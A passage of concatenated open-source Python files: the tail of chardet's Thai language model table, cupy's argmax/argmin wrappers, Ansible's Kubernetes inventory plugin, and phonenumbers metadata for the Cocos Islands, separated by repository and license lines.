3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, 3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, 3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, 3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, 3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, 3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, 2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, 3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, 1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, 3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, 1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, 0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, 0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, 3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, 2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, 0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, 3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, 3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, 2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, 3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, 2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, 3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, 3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, 3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, 3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, 1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, 0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, 0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, 3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, 3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, 1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, 3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, 3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, 0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, 0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, 1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, 1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, 3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, 0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, 3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, 0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, 0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, 0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, 0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, 0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, 0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, 0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, 3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, 2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, 0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, 3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, 1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, 1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, 1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) TIS620ThaiModel = { 'charToOrderMap': TIS620CharToOrderMap, 'precedenceMatrix': ThaiLangModel, 'mTypicalPositiveRatio': 0.926386, 'keepEnglishLetter': False, 'charsetName': "TIS-620" } # flake8: noqa
mit
Kaisuke5/chainer
cupy/sorting/search.py
9
1739
from cupy import reduction def argmax(a, axis=None, dtype=None, out=None, keepdims=False): """Returns the indices of the maximum along an axis. Args: a (cupy.ndarray): Array to take argmax. axis (int): Along which axis to find the maximum. ``a`` is flattened by default. dtype: Data type specifier. out (cupy.ndarray): Output array. keepdims (bool): If True, the axis ``axis`` is preserved as an axis of length one. Returns: cupy.ndarray: The indices of the maximum of ``a`` along an axis. .. seealso:: :func:`numpy.argmax` """ return reduction.argmax(a, axis=axis, dtype=dtype, out=out, keepdims=keepdims) # TODO(okuta): Implement nanargmax def argmin(a, axis=None, dtype=None, out=None, keepdims=False): """Returns the indices of the minimum along an axis. Args: a (cupy.ndarray): Array to take argmin. axis (int): Along which axis to find the minimum. ``a`` is flattened by default. dtype: Data type specifier. out (cupy.ndarray): Output array. keepdims (bool): If True, the axis ``axis`` is preserved as an axis of length one. Returns: cupy.ndarray: The indices of the minimum of ``a`` along an axis. .. seealso:: :func:`numpy.argmin` """ return reduction.argmin(a, axis=axis, dtype=dtype, out=out, keepdims=keepdims) # TODO(okuta): Implement nanargmin # TODO(okuta): Implement argwhere # TODO(okuta): Implement nonzero # TODO(okuta): Implement flatnonzero # TODO(okuta): Implement where # TODO(okuta): Implement searchsorted # TODO(okuta): Implement extract
mit
mikewiebe-ansible/ansible
lib/ansible/plugins/inventory/k8s.py
37
16915
# Copyright (c) 2018 Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import (absolute_import, division, print_function) __metaclass__ = type DOCUMENTATION = ''' name: k8s plugin_type: inventory author: - Chris Houseknecht <@chouseknecht> - Fabian von Feilitzsch <@fabianvf> short_description: Kubernetes (K8s) inventory source description: - Fetch containers and services for one or more clusters - Groups by cluster name, namespace, namespace_services, namespace_pods, and labels - Uses k8s.(yml|yaml) YAML configuration file to set parameter values. options: plugin: description: token that ensures this is a source file for the 'k8s' plugin. required: True choices: ['k8s'] connections: description: - Optional list of cluster connection settings. If no connections are provided, the default I(~/.kube/config) and active context will be used, and objects will be returned for all namespaces the active user is authorized to access. name: description: - Optional name to assign to the cluster. If not provided, a name is constructed from the server and port. kubeconfig: description: - Path to an existing Kubernetes config file. If not provided, and no other connection options are provided, the OpenShift client will attempt to load the default configuration file from I(~/.kube/config.json). Can also be specified via K8S_AUTH_KUBECONFIG environment variable. context: description: - The name of a context found in the config file. Can also be specified via K8S_AUTH_CONTEXT environment variable. host: description: - Provide a URL for accessing the API. Can also be specified via K8S_AUTH_HOST environment variable. api_key: description: - Token used to authenticate with the API. Can also be specified via K8S_AUTH_API_KEY environment variable. username: description: - Provide a username for authenticating with the API. Can also be specified via K8S_AUTH_USERNAME environment variable. password: description: - Provide a password for authenticating with the API. Can also be specified via K8S_AUTH_PASSWORD environment variable. client_cert: description: - Path to a certificate used to authenticate with the API. Can also be specified via K8S_AUTH_CERT_FILE environment variable. aliases: [ cert_file ] client_key: description: - Path to a key file used to authenticate with the API. Can also be specified via K8S_AUTH_KEY_FILE environment variable. aliases: [ key_file ] ca_cert: description: - Path to a CA certificate used to authenticate with the API. Can also be specified via K8S_AUTH_SSL_CA_CERT environment variable. aliases: [ ssl_ca_cert ] validate_certs: description: - "Whether or not to verify the API server's SSL certificates. Can also be specified via K8S_AUTH_VERIFY_SSL environment variable." type: bool aliases: [ verify_ssl ] namespaces: description: - List of namespaces. If not specified, will fetch all containers for all namespaces user is authorized to access. requirements: - "python >= 2.7" - "openshift >= 0.6" - "PyYAML >= 3.11" ''' EXAMPLES = ''' # File must be named k8s.yaml or k8s.yml # Authenticate with token, and return all pods and services for all namespaces plugin: k8s connections: - host: https://192.168.64.4:8443 token: xxxxxxxxxxxxxxxx validate_certs: false # Use default config (~/.kube/config) file and active context, and return objects for a specific namespace plugin: k8s connections: - namespaces: - testing # Use a custom config file, and a specific context. plugin: k8s connections: - kubeconfig: /path/to/config context: 'awx/192-168-64-4:8443/developer' ''' import json from ansible.errors import AnsibleError from ansible.module_utils.k8s.common import K8sAnsibleMixin, HAS_K8S_MODULE_HELPER, k8s_import_exception from ansible.plugins.inventory import BaseInventoryPlugin, Constructable, Cacheable try: from openshift.dynamic.exceptions import DynamicApiError except ImportError: pass def format_dynamic_api_exc(exc): if exc.body: if exc.headers and exc.headers.get('Content-Type') == 'application/json': message = json.loads(exc.body).get('message') if message: return message return exc.body else: return '%s Reason: %s' % (exc.status, exc.reason) class K8sInventoryException(Exception): pass class InventoryModule(BaseInventoryPlugin, Constructable, Cacheable, K8sAnsibleMixin): NAME = 'k8s' transport = 'kubectl' def parse(self, inventory, loader, path, cache=True): super(InventoryModule, self).parse(inventory, loader, path) cache_key = self._get_cache_prefix(path) config_data = self._read_config_data(path) self.setup(config_data, cache, cache_key) def setup(self, config_data, cache, cache_key): connections = config_data.get('connections') if not HAS_K8S_MODULE_HELPER: raise K8sInventoryException( "This module requires the OpenShift Python client. Try `pip install openshift`. Detail: {0}".format(k8s_import_exception) ) source_data = None if cache and cache_key in self._cache: try: source_data = self._cache[cache_key] except KeyError: pass if not source_data: self.fetch_objects(connections) def fetch_objects(self, connections): if connections: if not isinstance(connections, list): raise K8sInventoryException("Expecting connections to be a list.") for connection in connections: if not isinstance(connection, dict): raise K8sInventoryException("Expecting connection to be a dictionary.") client = self.get_api_client(**connection) name = connection.get('name', self.get_default_host_name(client.configuration.host)) if connection.get('namespaces'): namespaces = connection['namespaces'] else: namespaces = self.get_available_namespaces(client) for namespace in namespaces: self.get_pods_for_namespace(client, name, namespace) self.get_services_for_namespace(client, name, namespace) else: client = self.get_api_client() name = self.get_default_host_name(client.configuration.host) namespaces = self.get_available_namespaces(client) for namespace in namespaces: self.get_pods_for_namespace(client, name, namespace) self.get_services_for_namespace(client, name, namespace) @staticmethod def get_default_host_name(host): return host.replace('https://', '').replace('http://', '').replace('.', '-').replace(':', '_') def get_available_namespaces(self, client): v1_namespace = client.resources.get(api_version='v1', kind='Namespace') try: obj = v1_namespace.get() except DynamicApiError as exc: self.display.debug(exc) raise K8sInventoryException('Error fetching Namespace list: %s' % format_dynamic_api_exc(exc)) return [namespace.metadata.name for namespace in obj.items] def get_pods_for_namespace(self, client, name, namespace): v1_pod = client.resources.get(api_version='v1', kind='Pod') try: obj = v1_pod.get(namespace=namespace) except DynamicApiError as exc: self.display.debug(exc) raise K8sInventoryException('Error fetching Pod list: %s' % format_dynamic_api_exc(exc)) namespace_group = 'namespace_{0}'.format(namespace) namespace_pods_group = '{0}_pods'.format(namespace_group) self.inventory.add_group(name) self.inventory.add_group(namespace_group) self.inventory.add_child(name, namespace_group) self.inventory.add_group(namespace_pods_group) self.inventory.add_child(namespace_group, namespace_pods_group) for pod in obj.items: pod_name = pod.metadata.name pod_groups = [] pod_annotations = {} if not pod.metadata.annotations else dict(pod.metadata.annotations) if pod.metadata.labels: # create a group for each label_value for key, value in pod.metadata.labels: group_name = 'label_{0}_{1}'.format(key, value) if group_name not in pod_groups: pod_groups.append(group_name) self.inventory.add_group(group_name) pod_labels = dict(pod.metadata.labels) else: pod_labels = {} if not pod.status.containerStatuses: continue for container in pod.status.containerStatuses: # add each pod_container to the namespace group, and to each label_value group container_name = '{0}_{1}'.format(pod.metadata.name, container.name) self.inventory.add_host(container_name) self.inventory.add_child(namespace_pods_group, container_name) if pod_groups: for group in pod_groups: self.inventory.add_child(group, container_name) # Add hostvars self.inventory.set_variable(container_name, 'object_type', 'pod') self.inventory.set_variable(container_name, 'labels', pod_labels) self.inventory.set_variable(container_name, 'annotations', pod_annotations) self.inventory.set_variable(container_name, 'cluster_name', pod.metadata.clusterName) self.inventory.set_variable(container_name, 'pod_node_name', pod.spec.nodeName) self.inventory.set_variable(container_name, 'pod_name', pod.spec.name) self.inventory.set_variable(container_name, 'pod_host_ip', pod.status.hostIP) self.inventory.set_variable(container_name, 'pod_phase', pod.status.phase) self.inventory.set_variable(container_name, 'pod_ip', pod.status.podIP) self.inventory.set_variable(container_name, 'pod_self_link', pod.metadata.selfLink) self.inventory.set_variable(container_name, 'pod_resource_version', pod.metadata.resourceVersion) self.inventory.set_variable(container_name, 'pod_uid', pod.metadata.uid) self.inventory.set_variable(container_name, 'container_name', container.image) self.inventory.set_variable(container_name, 'container_image', container.image) if container.state.running: self.inventory.set_variable(container_name, 'container_state', 'Running') if container.state.terminated: self.inventory.set_variable(container_name, 'container_state', 'Terminated') if container.state.waiting: self.inventory.set_variable(container_name, 'container_state', 'Waiting') self.inventory.set_variable(container_name, 'container_ready', container.ready) self.inventory.set_variable(container_name, 'ansible_remote_tmp', '/tmp/') self.inventory.set_variable(container_name, 'ansible_connection', self.transport) self.inventory.set_variable(container_name, 'ansible_{0}_pod'.format(self.transport), pod_name) self.inventory.set_variable(container_name, 'ansible_{0}_container'.format(self.transport), container.name) self.inventory.set_variable(container_name, 'ansible_{0}_namespace'.format(self.transport), namespace) def get_services_for_namespace(self, client, name, namespace): v1_service = client.resources.get(api_version='v1', kind='Service') try: obj = v1_service.get(namespace=namespace) except DynamicApiError as exc: self.display.debug(exc) raise K8sInventoryException('Error fetching Service list: %s' % format_dynamic_api_exc(exc)) namespace_group = 'namespace_{0}'.format(namespace) namespace_services_group = '{0}_services'.format(namespace_group) self.inventory.add_group(name) self.inventory.add_group(namespace_group) self.inventory.add_child(name, namespace_group) self.inventory.add_group(namespace_services_group) self.inventory.add_child(namespace_group, namespace_services_group) for service in obj.items: service_name = service.metadata.name service_labels = {} if not service.metadata.labels else dict(service.metadata.labels) service_annotations = {} if not service.metadata.annotations else dict(service.metadata.annotations) self.inventory.add_host(service_name) if service.metadata.labels: # create a group for each label_value for key, value in service.metadata.labels: group_name = 'label_{0}_{1}'.format(key, value) self.inventory.add_group(group_name) self.inventory.add_child(group_name, service_name) try: self.inventory.add_child(namespace_services_group, service_name) except AnsibleError as e: raise ports = [{'name': port.name, 'port': port.port, 'protocol': port.protocol, 'targetPort': port.targetPort, 'nodePort': port.nodePort} for port in service.spec.ports or []] # add hostvars self.inventory.set_variable(service_name, 'object_type', 'service') self.inventory.set_variable(service_name, 'labels', service_labels) self.inventory.set_variable(service_name, 'annotations', service_annotations) self.inventory.set_variable(service_name, 'cluster_name', service.metadata.clusterName) self.inventory.set_variable(service_name, 'ports', ports) self.inventory.set_variable(service_name, 'type', service.spec.type) self.inventory.set_variable(service_name, 'self_link', service.metadata.selfLink) self.inventory.set_variable(service_name, 'resource_version', service.metadata.resourceVersion) self.inventory.set_variable(service_name, 'uid', service.metadata.uid) if service.spec.externalTrafficPolicy: self.inventory.set_variable(service_name, 'external_traffic_policy', service.spec.externalTrafficPolicy) if service.spec.externalIPs: self.inventory.set_variable(service_name, 'external_ips', service.spec.externalIPs) if service.spec.externalName: self.inventory.set_variable(service_name, 'external_name', service.spec.externalName) if service.spec.healthCheckNodePort: self.inventory.set_variable(service_name, 'health_check_node_port', service.spec.healthCheckNodePort) if service.spec.loadBalancerIP: self.inventory.set_variable(service_name, 'load_balancer_ip', service.spec.loadBalancerIP) if service.spec.selector: self.inventory.set_variable(service_name, 'selector', dict(service.spec.selector)) if hasattr(service.status.loadBalancer, 'ingress') and service.status.loadBalancer.ingress: load_balancer = [{'hostname': ingress.hostname, 'ip': ingress.ip} for ingress in service.status.loadBalancer.ingress] self.inventory.set_variable(service_name, 'load_balancer', load_balancer)
gpl-3.0
daodaoliang/python-phonenumbers
python/phonenumbers/data/region_CC.py
7
1870
"""Auto-generated file, do not edit by hand. CC metadata""" from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata PHONE_METADATA_CC = PhoneMetadata(id='CC', country_code=61, international_prefix='(?:14(?:1[14]|34|4[17]|[56]6|7[47]|88))?001[14-689]', general_desc=PhoneNumberDesc(national_number_pattern='[1458]\\d{5,9}', possible_number_pattern='\\d{6,10}'), fixed_line=PhoneNumberDesc(national_number_pattern='89162\\d{4}', possible_number_pattern='\\d{8,9}', example_number='891621234'), mobile=PhoneNumberDesc(national_number_pattern='14(?:5\\d|71)\\d{5}|4(?:[0-2]\\d|3[0-57-9]|4[47-9]|5[0-25-9]|6[6-9]|7[03-9]|8[17-9]|9[017-9])\\d{6}', possible_number_pattern='\\d{9}', example_number='412345678'), toll_free=PhoneNumberDesc(national_number_pattern='1(?:80(?:0\\d{2})?|3(?:00\\d{2})?)\\d{4}', possible_number_pattern='\\d{6,10}', example_number='1800123456'), premium_rate=PhoneNumberDesc(national_number_pattern='190[0126]\\d{6}', possible_number_pattern='\\d{10}', example_number='1900123456'), shared_cost=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), personal_number=PhoneNumberDesc(national_number_pattern='500\\d{6}', possible_number_pattern='\\d{9}', example_number='500123456'), voip=PhoneNumberDesc(national_number_pattern='550\\d{6}', possible_number_pattern='\\d{9}', example_number='550123456'), pager=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), uan=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), voicemail=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), no_international_dialling=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), preferred_international_prefix='0011', national_prefix='0', national_prefix_for_parsing='0')
apache-2.0
jythontools/pip
pip/_vendor/requests/packages/chardet/jisfreq.py
3131
47315
